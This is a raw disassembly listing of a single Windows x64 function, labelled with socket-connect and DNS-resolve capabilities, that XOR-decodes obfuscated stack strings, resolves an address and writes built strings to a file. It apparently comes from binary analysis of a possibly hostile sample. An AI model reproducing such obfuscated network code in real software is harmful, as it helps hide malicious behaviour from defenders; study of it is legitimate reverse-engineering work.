Function at 0x14000e0b0
Capabilities:
Connect socket
Resolve dns

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x920
movaps xmmword [rsp + 0x910], xmm6
lea rbp, [rsp + 0x50]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400a5100]
xor rax, rsp
mov qword [rbp + 0x8b0], rax
mov rbx, rcx
xor r13d, r13d
mov rsi, 0xffffffffffffffff
mov r15, rsi
xorps xmm0, xmm0
movups xmmword [rbp + 0x720], xmm0
movups xmmword [rbp + 0x730], xmm0
movups xmmword [rbp + 0x740], xmm0
mov dword [rbp + 0x728], 1
movabs rax, 0x8753f2366f3dde46
mov qword [rbp + 0x718], rax
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x30], rax
movabs r14, 0xe2fd62936d0211a4
mov qword [rbp + 0x718], r14
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x38], rax
movabs r12, 0x8753f2366f3dba63
mov qword [rbp + 0x718], r12
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x750], rax
mov qword [rbp + 0x718], r14
mov rax, qword [rbp + 0x718]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x30], xmm0
mov r9d, edx
lea r8, [rbp + 0x30]
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rbp + 0x8a0]
call fcn.140018d30
cmp qword [rbx + 0x18], 0xf
jbe 0x14000e1ba
mov rbx, qword [rbx]
lea r9, [rbp + 0x718]
lea r8, [rbp + 0x720]
lea rdx, [rbp + 0x8a0]
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_getaddrinfo]
mov edi, eax
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x780], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x790], xmm1
lea rax, [rbp + 0x10]
mov r8, rsi
inc r8
cmp byte [rax + r8], r13b
jne 0x14000e247
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x780]
call fcn.140019990
nop
lea r9, [rbp + 0x875]
mov r8d, edi
test edi, edi
jns 0x14000e2b0
neg r8d
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000e272
dec r9
mov byte [r9], 0x2d
jmp 0x14000e2da
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000e2b0
lea r8, [rbp + 0x875]
mov rdx, r9
lea rcx, [rbp + 0xa0]
call fcn.14001a3a0
nop
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c0], rax
movabs rax, 0x909906d219675684
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1c8], rax
movabs rax, 0x92de514e3a6dedb0
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d0], rax
movabs rax, 0xb0a22081608337d
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x1d8], rax
movabs rdx, 0xf296df829c82bd87
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x1e0], rax
movabs rcx, 0x6fb8bbcf1199d5c8
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x1e8], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x800], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x808], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x810], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x818], rax
mov qword [rbp], rdx
mov rax, qword [rbp]
mov qword [rbp + 0x820], rax
mov qword [rbp], rcx
mov rax, qword [rbp]
mov qword [rbp + 0x828], rax
vmovdqu ymm0, ymmword [rbp + 0x1c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x800]
vmovdqa ymmword [rbp + 0x1c0], ymm1
vmovdqa xmm0, xmmword [rbp + 0x1e0]
vxorps xmm0, xmm0, xmmword [rbp + 0x820]
vmovdqa xmmword [rbp + 0x1e0], xmm0
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
vmovdqa xmm0, xmmword [rbp + 0x10]
vxorps xmm0, xmm0, xmmword [rbp + 0x750]
vmovdqa xmmword [rbp + 0x10], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x760], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x770], xmm1
lea rax, [rbp + 0x10]
mov r8, rsi
vzeroupper
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e4a0
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x760]
call fcn.140019990
nop
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x20], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x860], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x870], xmm1
lea rax, [rbp + 0x10]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e580
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x860]
call fcn.140019990
nop
lea r9, [rbp + 0x895]
mov r8d, 0x62
nop dword [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000e5b0
lea r8, [rbp + 0x895]
mov rdx, r9
lea rcx, [rbp + 0x3c0]
call fcn.14001a3a0
lea r8, [rbp + 0x3c0]
lea rdx, [rbp + 0x7a0]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x10], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x180], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x190], xmm1
mov r8d, 8
lea rdx, str.launcher
lea rcx, [rbp + 0x180]
call fcn.140019990
nop
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x180]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x300]
call fcn.140018f00
nop
lea rcx, [rbp + 0x10]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x14000e6f6
lea rdx, [rbp + 0x10]
mov rcx, rax
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x7e0], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x7f0], xmm1
mov qword [rax + 0x18], send
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x7e0]
lea rcx, [rbp + 0x80]
call fcn.14001a0f0
nop
lea r9, [rbp + 0x860]
lea r8, [rbp + 0x80]
lea rcx, [rbp + 0x2c0]
call fcn.14001a0f0
nop
lea rax, [rbp + 0x20]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000e770
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x2c0]
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x880], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x890], xmm1
mov qword [rax + 0x18], send
mov qword [rax + 0x10], r13
mov byte [rax], 0
lea r9, [rbp + 0x760]
lea r8, [rbp + 0x880]
lea rcx, [rbp + 0x2e0]
call fcn.14001a0f0
nop
lea rax, [rbp + 0x1c0]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000e7d3
lea rdx, [rbp + 0x1c0]
lea rcx, [rbp + 0x2e0]
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x40]
lea rcx, [rbp + 0x60]
call fcn.14001a0f0
nop
lea r9, [rbp + 0x780]
lea r8, [rbp + 0x60]
lea rcx, [rbp + 0x140]
call fcn.14001a0f0
nop
lea rcx, [rbp + 0x400]
call fcn.140017c10
nop
lea rdx, [rbp + 0x140]
cmp qword [rbp + 0x158], 0xf
cmova rdx, qword [rbp + 0x140]
mov r8, qword [rbp + 0x150]
mov rcx, rax
call fcn.14001aa60
nop
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x400], rax
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x3fc], edx
lea rcx, [rbp + 0x408]
call fcn.140017840
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x400], rax
mov rax, qword [rbp + 0x400]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x3fc], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x4a8], rax
lea rcx, [rbp + 0x4a8]
call fcn.140050f68
nop
mov rdx, qword [rbp + 0x158]
cmp rdx, 0xf
jbe 0x14000e938
inc rdx
mov rcx, qword [rbp + 0x140]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14001039c
call fcn.140052040
movdqa xmm6, xmmword [0x1400976c0]
movdqu xmmword [rbp + 0x150], xmm6
mov byte [rbp + 0x140], 0
mov rdx, qword [rbp + 0x78]
cmp rdx, 0xf
jbe 0x14000e98a
inc rdx
mov rcx, qword [rbp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e985
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103a2
call fcn.140052040
movdqu xmmword [rbp + 0x70], xmm6
mov byte [rbp + 0x60], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000e9ce
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000e9c9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103a8
call fcn.140052040
movdqu xmmword [rbp + 0x50], xmm6
mov byte [rbp + 0x40], 0
mov rdx, qword [rbp + 0x2f8]
cmp rdx, 0xf
jbe 0x14000ea18
inc rdx
mov rcx, qword [rbp + 0x2e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea13
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103ae
call fcn.140052040
movdqu xmmword [rbp + 0x2f0], xmm6
mov byte [rbp + 0x2e0], 0
mov rdx, qword [rbp + 0x898]
cmp rdx, 0xf
jbe 0x14000ea68
inc rdx
mov rcx, qword [rbp + 0x880]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ea63
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103b4
call fcn.140052040
movdqu xmmword [rbp + 0x890], xmm6
mov byte [rbp + 0x880], 0
mov rdx, qword [rbp + 0x2d8]
cmp rdx, 0xf
jbe 0x14000eab8
inc rdx
mov rcx, qword [rbp + 0x2c0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eab3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103ba
call fcn.140052040
movdqu xmmword [rbp + 0x2d0], xmm6
mov byte [rbp + 0x2c0], 0
mov rdx, qword [rbp + 0x98]
cmp rdx, 0xf
jbe 0x14000eb08
inc rdx
mov rcx, qword [rbp + 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103c0
call fcn.140052040
movdqu xmmword [rbp + 0x90], xmm6
mov byte [rbp + 0x80], 0
mov rdx, qword [rbp + 0x7f8]
cmp rdx, 0xf
jbe 0x14000eb58
inc rdx
mov rcx, qword [rbp + 0x7e0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eb53
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103c6
call fcn.140052040
movdqu xmmword [rbp + 0x7f0], xmm6
mov byte [rbp + 0x7e0], 0
mov rdx, qword [rbp + 0x318]
cmp rdx, 0xf
jbe 0x14000eba8
inc rdx
mov rcx, qword [rbp + 0x300]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000eba3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103cc
call fcn.140052040
movdqu xmmword [rbp + 0x310], xmm6
mov byte [rbp + 0x300], 0
mov rdx, qword [rbp + 0x198]
cmp rdx, 0xf
jbe 0x14000ebf8
inc rdx
mov rcx, qword [rbp + 0x180]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ebf3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103d2
call fcn.140052040
movdqu xmmword [rbp + 0x190], xmm6
mov byte [rbp + 0x180], 0
mov rdx, qword [rbp + 0x7b8]
cmp rdx, 0xf
jbe 0x14000ec48
inc rdx
mov rcx, qword [rbp + 0x7a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103d8
call fcn.140052040
movdqu xmmword [rbp + 0x7b0], xmm6
mov byte [rbp + 0x7a0], 0
mov rdx, qword [rbp + 0x878]
cmp rdx, 0xf
jbe 0x14000ec98
inc rdx
mov rcx, qword [rbp + 0x860]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ec93
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103de
call fcn.140052040
movdqu xmmword [rbp + 0x870], xmm6
mov byte [rbp + 0x860], 0
mov rdx, qword [rbp + 0x778]
cmp rdx, 0xf
jbe 0x14000ece8
inc rdx
mov rcx, qword [rbp + 0x760]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ece3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103e4
call fcn.140052040
movdqu xmmword [rbp + 0x770], xmm6
mov byte [rbp + 0x760], 0
mov rdx, qword [rbp + 0xb8]
cmp rdx, 0xf
jbe 0x14000ed38
inc rdx
mov rcx, qword [rbp + 0xa0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed33
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103ea
call fcn.140052040
movdqu xmmword [rbp + 0xb0], xmm6
mov byte [rbp + 0xa0], 0
mov rdx, qword [rbp + 0x798]
cmp rdx, 0xf
jbe 0x14000ed88
inc rdx
mov rcx, qword [rbp + 0x780]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000ed83
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103f0
call fcn.140052040
movdqu xmmword [rbp + 0x790], xmm6
mov byte [rbp + 0x780], 0
test edi, edi
je 0x14000f758
movabs rax, 0x8753f2366f3dba69
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0xa0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb0], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
nop dword [rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000ee10
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0xa0]
call fcn.140019990
nop
movabs rax, 0xda27975d0c52c938
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x860], rax
movabs r12, 0x969e07fd036d5284
mov qword [rbp], r12
mov rax, qword [rbp]
mov qword [rbp + 0x868], rax
movabs rax, 0xddc345455370f1bc
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x870], rax
movabs rax, 0x2b30517d6269667c
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x878], rax
movabs rdi, 0x8753f2366f3dba63
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x7a0], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x7a8], rax
movabs rax, 0xb2b13720731e9ed5
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b0], rax
movabs rax, 0x2b30517d6269470e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x7b8], rax
vmovdqu ymm0, ymmword [rbp + 0x860]
vpxor ymm1, ymm0, ymmword [rbp + 0x7a0]
vmovdqa ymmword [rbp + 0x860], ymm1
movabs rax, 0x8753f2366f3d9a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
vmovdqa xmm0, xmmword [rbp + 0x20]
vxorps xmm0, xmm0, xmmword [rbp + 0x750]
vmovdqa xmmword [rbp + 0x20], xmm0
vxorps xmm0, xmm0, xmm0
vmovups xmmword [rbp + 0x80], xmm0
vxorps xmm1, xmm1, xmm1
vmovdqu xmmword [rbp + 0x90], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
vzeroupper
inc r8
cmp byte [rax + r8], 0
jne 0x14000ef75
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x80]
call fcn.140019990
nop
movabs rax, 0x8753f2366f3dba48
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x10], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x18], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x10]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x10], xmm0
movabs rax, 0x8753f2366f3de143
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x60], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x70], xmm1
lea rax, [rbp + 0x20]
mov r8, rsi
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14000f050
lea rdx, [rbp + 0x20]
lea rcx, [rbp + 0x60]
call fcn.140019990
nop
lea r9, [rbp + 0x895]
mov r8d, 0x64
nop word [rax + rax]
dec r9
mov eax, 0xcccccccd
mul r8d
shr edx, 3
movzx eax, dl
shl al, 2
lea ecx, [rax + rdx]
add cl, cl
sub r8b, cl
add r8b, 0x30
mov byte [r9], r8b
mov r8d, edx
test edx, edx
jne 0x14000f080
lea r8, [rbp + 0x895]
mov rdx, r9
lea rcx, [rbp + 0x3e0]
call fcn.14001a3a0
lea r8, [rbp + 0x3e0]
lea rdx, [rbp + 0x7c0]
call fcn.1400104a0
mov rbx, rax
movabs rax, 0x8753f2366f719a3e
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x20], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x28], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x20]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x20], xmm0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1a0], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x1b0], xmm1
mov r8d, 8
lea rdx, str.launcher
lea rcx, [rbp + 0x1a0]
call fcn.140019990
nop
movabs rax, 0x8753f2366f3dba38
mov qword [rbp], rax
mov rax, qword [rbp]
mov qword [rbp + 0x30], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x38], rax
mov qword [rbp], rdi
mov rax, qword [rbp]
mov qword [rbp + 0x750], rax
mov qword [rbp], r14
mov rax, qword [rbp]
mov qword [rbp + 0x758], rax
movdqa xmm0, xmmword [rbp + 0x30]
xorps xmm0, xmmword [rbp + 0x750]
movdqa xmmword [rbp + 0x30], xmm0
lea r8, [rbp + 0x1a0]
lea rdx, [rbp + 0x30]
lea rcx, [rbp + 0x320]
call fcn.140018f00
nop
lea rcx, [rbp + 0x20]
mov r8, rsi
inc r8
cmp byte [rcx + r8], 0
jne 0x14000f1c6
lea rdx, [rbp + 0x20]
mov rcx, rax
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x760], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x770], xmm1
mov qword [rax + 0x18], send
mov qword [rax + 0x10], r13
mov byte [rax], 0
mov r9, rbx
lea r8, [rbp + 0x760]
lea rcx, [rbp + 0x160]
call fcn.14001a0f0
nop
lea r9, [rbp + 0x60]
lea r8, [rbp + 0x160]
lea rcx, [rbp + 0x280]
call fcn.14001a0f0
nop
lea rax, [rbp + 0x10]
mov r8, rsi
inc r8
cmp byte [rax + r8], 0
jne 0x14000f236
lea rdx, [rbp + 0x10]
lea rcx, [rbp + 0x280]
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x880], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x890], xmm1
mov qword [rax + 0x18], send
mov qword [rax + 0x10], r13
mov byte [rax], 0
lea r9, [rbp + 0x80]
lea r8, [rbp + 0x880]
lea rcx, [rbp + 0x2a0]
call fcn.14001a0f0
nop
lea rax, [rbp + 0x860]
inc rsi
cmp byte [rax + rsi], 0
jne 0x14000f296
mov r8, rsi
lea rdx, [rbp + 0x860]
lea rcx, [rbp + 0x2a0]
call fcn.140018810
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp + 0x50], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], send
mov byte [rax], 0
lea r9, [rbp + 0xa0]
lea r8, [rbp + 0x40]
lea rcx, [rbp + 0x120]
call fcn.14001a0f0
nop
lea rcx, [rbp + 0x508]
call fcn.140017c10
nop
lea rdx, [rbp + 0x120]
cmp qword [rbp + 0x138], 0xf
cmova rdx, qword [rbp + 0x120]
mov r8, qword [rbp + 0x130]
mov rcx, rax
call fcn.14001aa60
nop
mov rax, qword [rbp + 0x508]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x508], rax
mov rax, qword [rbp + 0x508]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rbp + rcx + 0x504], edx
lea rcx, [rbp + 0x510]
call fcn.140017840
mov rax, qword [rbp + 0x508]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ostream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x508], rax
mov rax, qword [rbp + 0x508]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x10]
mov dword [rbp + rcx + 0x504], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x5b0], rax
lea rcx, [rbp + 0x5b0]
call fcn.140050f68
nop
mov rdx, qword [rbp + 0x138]
cmp rdx, 0xf
jbe 0x14000f3e8
inc rdx
mov rcx, qword [rbp + 0x120]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f3e3
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103f6
call fcn.140052040
movdqu xmmword [rbp + 0x130], xmm6
mov byte [rbp + 0x120], 0
mov rdx, qword [rbp + 0x58]
cmp rdx, 0xf
jbe 0x14000f433
inc rdx
mov rcx, qword [rbp + 0x40]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f42d
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400103fc
call fcn.140052040
nop
mov rdx, qword [rbp + 0x2b8]
cmp rdx, 0xf
jbe 0x14000f474
inc rdx
mov rcx, qword [rbp + 0x2a0]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000f46f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140010402
call fcn.140052040
movdqu xmmword [rbp + 0x2b0], xmm6
